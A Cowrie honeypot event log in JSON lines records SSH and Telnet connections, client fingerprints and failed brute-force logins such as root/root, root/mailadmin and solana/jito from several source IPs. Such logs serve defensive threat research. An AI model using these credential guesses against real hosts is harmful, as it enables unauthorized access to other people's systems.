{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5eTEvWzctpDOyahZ8FFauPEAsUPX/llAHXtfNAo0rvd/HZgh5h7SGDkubUguQIW+cRqpwa3D2fzA318bVs99hNpzPLS6dTvzB9/V9u0aMZCR/P3C8xEHkhhmtN5Vc8OOSq/nwhPkc9UYnEohC1mKqcCYBONIQLzIDvtMWxhx3AGyoJmpg0R6AkVjue7a8AVayrukvhemussrNYrKCLAXygwaI1HWZHjIbskI+hFEATXXY2BQEL6rg7a4/EIbkwiciSdVPKj+3AfOGnqc1cHxBpMZiz/AkQe+RlDfX/M5xeyIO+c0Ik+B/qcFBxCAjO/yQH8m/FDotDB1mKRmNCKV3o2xrxt9MlWxH3l8B0ZXm4mNORxzmYuXlyvQsp/6NnIkeluzxS7BD8zazqOoeBPobdTrRIg14DPl8p+vq28a3PaWMikQgeUiLEdjoFIVBoF0H8w09n1WaozLaLEO+JGhHhMo408DQJQFKDqVMy0G116VKYsddQtk8eM+OVqWJUVESqsyANppP4aosXmoIuUFnYDxVgQ9nxpTstnilVfx8Ac9Mgh3V/Q1Ht7KwhRoNoc0V6KXLeM1WmPJDqQ7rdBC86jJAe3COEIooMohhkY3lh49/MaxgbSpMafjh09oJ/DaXbJaCfCNUYEn+8uHpy6UdGH9VpCoDsF9I//6d2q2iDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.583271Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5eTEvWzctpDOyahZ8FFauPEAsUPX/llAHXtfNAo0rvd/HZgh5h7SGDkubUguQIW+cRqpwa3D2fzA318bVs99hNpzPLS6dTvzB9/V9u0aMZCR/P3C8xEHkhhmtN5Vc8OOSq/nwhPkc9UYnEohC1mKqcCYBONIQLzIDvtMWxhx3AGyoJmpg0R6AkVjue7a8AVayrukvhemussrNYrKCLAXygwaI1HWZHjIbskI+hFEATXXY2BQEL6rg7a4/EIbkwiciSdVPKj+3AfOGnqc1cHxBpMZiz/AkQe+RlDfX/M5xeyIO+c0Ik+B/qcFBxCAjO/yQH8m/FDotDB1mKRmNCKV3o2xrxt9MlWxH3l8B0ZXm4mNORxzmYuXlyvQsp/6NnIkeluzxS7BD8zazqOoeBPobdTrRIg14DPl8p+vq28a3PaWMikQgeUiLEdjoFIVBoF0H8w09n1WaozLaLEO+JGhHhMo408DQJQFKDqVMy0G116VKYsddQtk8eM+OVqWJUVESqsyANppP4aosXmoIuUFnYDxVgQ9nxpTstnilVfx8Ac9Mgh3V/Q1Ht7KwhRoNoc0V6KXLeM1WmPJDqQ7rdBC86jJAe3COEIooMohhkY3lh49/MaxgbSpMafjh09oJ/DaXbJaCfCNUYEn+8uHpy6UdGH9VpCoDsF9I//6d2q2iDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.587417Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwoE45aCdAW23cxUZmIt5n3+YyZftHGtEeZJDiLyPNvcdLK6fN4FMuissbdZdDqnVtX0iIkVUdpzAseOwHiZOLQvlPY9igkmcovTQeYqx+kj4AH05dgQYf5G1V7KZTAm6SoOHPf3ka62V9fmSLNhlSyfGcyg4AW3Ce+iUBtTIRjHBYDYjbaoYa8Q2++VTxuywSZaGUeaiUw99gFsi5VjlQU+YBUApz5K3qhNoKm9AehRmQbNTB/BPbpgMBeuHsBNrbwuIZUA6lE13g9XohxzbdyxUk0Mo8MLj3rTnQnzWJ6jMww76n+76ZnImXDModTRto8zveVYJG3TBfiC6qabOl8P1nzMYHR0u+IpGYfpzRXYrygnNGRkqdmYoxBe3mXJ6EeHm0kL2qS6W8NT/0GfmLxBgJv43eBh+zGRGL2xzHBaX/MK8yFY14r4Lccke8Ups1nDokK3ihMite1WudV+6lL7YiQstdXMR/eMz3MYHwjz0yrdRVpqriPXqUJhUnFxih/OVvGI6urAMhPeo3MGUrBTJ5y75Ar911ZYQ3bJFvZfEU5kjnsk38NdMDssDJZI7lbMmTkZuCjcjyXkM/57uuiL3Vjd9E74HussLP2B8AbzoUTZqCc4HKkS7kmO7dcxnxCGV407d10hw/gEzJXW7k7wf4izbB92VUAugO9BgDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.620215Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwoE45aCdAW23cxUZmIt5n3+YyZftHGtEeZJDiLyPNvcdLK6fN4FMuissbdZdDqnVtX0iIkVUdpzAseOwHiZOLQvlPY9igkmcovTQeYqx+kj4AH05dgQYf5G1V7KZTAm6SoOHPf3ka62V9fmSLNhlSyfGcyg4AW3Ce+iUBtTIRjHBYDYjbaoYa8Q2++VTxuywSZaGUeaiUw99gFsi5VjlQU+YBUApz5K3qhNoKm9AehRmQbNTB/BPbpgMBeuHsBNrbwuIZUA6lE13g9XohxzbdyxUk0Mo8MLj3rTnQnzWJ6jMww76n+76ZnImXDModTRto8zveVYJG3TBfiC6qabOl8P1nzMYHR0u+IpGYfpzRXYrygnNGRkqdmYoxBe3mXJ6EeHm0kL2qS6W8NT/0GfmLxBgJv43eBh+zGRGL2xzHBaX/MK8yFY14r4Lccke8Ups1nDokK3ihMite1WudV+6lL7YiQstdXMR/eMz3MYHwjz0yrdRVpqriPXqUJhUnFxih/OVvGI6urAMhPeo3MGUrBTJ5y75Ar911ZYQ3bJFvZfEU5kjnsk38NdMDssDJZI7lbMmTkZuCjcjyXkM/57uuiL3Vjd9E74HussLP2B8AbzoUTZqCc4HKkS7kmO7dcxnxCGV407d10hw/gEzJXW7k7wf4izbB92VUAugO9BgDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.624125Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.655603Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00305604934692,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:01.266169Z","src_ip":"86.41.211.249","session":"a1e10e792139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":57340,"dst_ip":"10.17.0.5","dst_port":22,"session":"e83ab69310e2","protocol":"ssh","message":"New connection: 211.254.212.59:57340 (10.17.0.5:22) [session: e83ab69310e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:13.400667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:13.406337Z","src_ip":"211.254.212.59","session":"e83ab69310e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:13.603100Z","src_ip":"211.254.212.59","session":"e83ab69310e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:14.417603Z","src_ip":"211.254.212.59","session":"e83ab69310e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:15.617435Z","src_ip":"211.254.212.59","session":"e83ab69310e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41966,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a301d4ae2d","protocol":"ssh","message":"New connection: 80.94.92.186:41966 (10.17.0.5:22) [session: 71a301d4ae2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:38.682470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:38.814542Z","src_ip":"80.94.92.186","session":"71a301d4ae2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:38.818364Z","src_ip":"80.94.92.186","session":"71a301d4ae2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:40.006162Z","src_ip":"80.94.92.186","session":"71a301d4ae2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:55:41.183083Z","src_ip":"80.94.92.186","session":"71a301d4ae2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.11.228.4","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf46c425085","protocol":"telnet","message":"New connection: 1.11.228.4:52186 (159.203.135.109:23) [session: ecf46c425085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:56:42.680876Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":42852,"dst_ip":"159.203.135.109","dst_port":23,"session":"669a711b97b9","protocol":"telnet","message":"New connection: 199.103.57.63:42852 (159.203.135.109:23) [session: 669a711b97b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:56:42.734657Z"}
{"eventid":"cowrie.session.closed","duration":15.70511245727539,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:56:58.385863Z","src_ip":"1.11.228.4","session":"ecf46c425085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.63331937789917,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:57:37.367848Z","src_ip":"199.103.57.63","session":"669a711b97b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"84f8d2c221a1","protocol":"ssh","message":"New connection: 80.94.92.186:44666 (10.17.0.5:22) [session: 84f8d2c221a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:39.880453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:39.974181Z","src_ip":"80.94.92.186","session":"84f8d2c221a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:40.028909Z","src_ip":"80.94.92.186","session":"84f8d2c221a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:40.742702Z","src_ip":"80.94.92.186","session":"84f8d2c221a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:42.028122Z","src_ip":"80.94.92.186","session":"84f8d2c221a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.137.223.221","src_port":46392,"dst_ip":"159.203.135.109","dst_port":23,"session":"f63fcdee6e34","protocol":"telnet","message":"New connection: 189.137.223.221:46392 (159.203.135.109:23) [session: f63fcdee6e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:58:59.883504Z"}
{"eventid":"cowrie.session.closed","duration":13.58266830444336,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:59:13.466079Z","src_ip":"189.137.223.221","session":"f63fcdee6e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":40704,"dst_ip":"159.203.135.109","dst_port":22,"session":"840f5fe0234e","protocol":"ssh","message":"New connection: 31.57.129.10:40704 (159.203.135.109:22) [session: 840f5fe0234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:33.222897Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:33.228429Z","src_ip":"31.57.129.10","session":"840f5fe0234e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":52698,"dst_ip":"159.203.135.109","dst_port":23,"session":"461abd1976ab","protocol":"telnet","message":"New connection: 31.57.129.10:52698 (159.203.135.109:23) [session: 461abd1976ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:33.232064Z"}
{"eventid":"cowrie.session.closed","duration":0.004987001419067383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:33.236969Z","src_ip":"31.57.129.10","session":"461abd1976ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":43716,"dst_ip":"159.203.135.109","dst_port":22,"session":"2616156bf6b7","protocol":"ssh","message":"New connection: 31.57.129.10:43716 (159.203.135.109:22) [session: 2616156bf6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:35.857085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:35.862598Z","src_ip":"31.57.129.10","session":"2616156bf6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:36.009136Z","src_ip":"31.57.129.10","session":"2616156bf6b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:36.440606Z","src_ip":"31.57.129.10","session":"2616156bf6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:37.586082Z","src_ip":"31.57.129.10","session":"2616156bf6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":43730,"dst_ip":"159.203.135.109","dst_port":22,"session":"1072a7fd32a4","protocol":"ssh","message":"New connection: 31.57.129.10:43730 (159.203.135.109:22) [session: 1072a7fd32a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:37.724082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:37.730541Z","src_ip":"31.57.129.10","session":"1072a7fd32a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:37.874785Z","src_ip":"31.57.129.10","session":"1072a7fd32a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:38.306476Z","src_ip":"31.57.129.10","session":"1072a7fd32a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:39.454807Z","src_ip":"31.57.129.10","session":"1072a7fd32a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":43744,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91636f65a39","protocol":"ssh","message":"New connection: 31.57.129.10:43744 (159.203.135.109:22) [session: c91636f65a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:39.592469Z"}
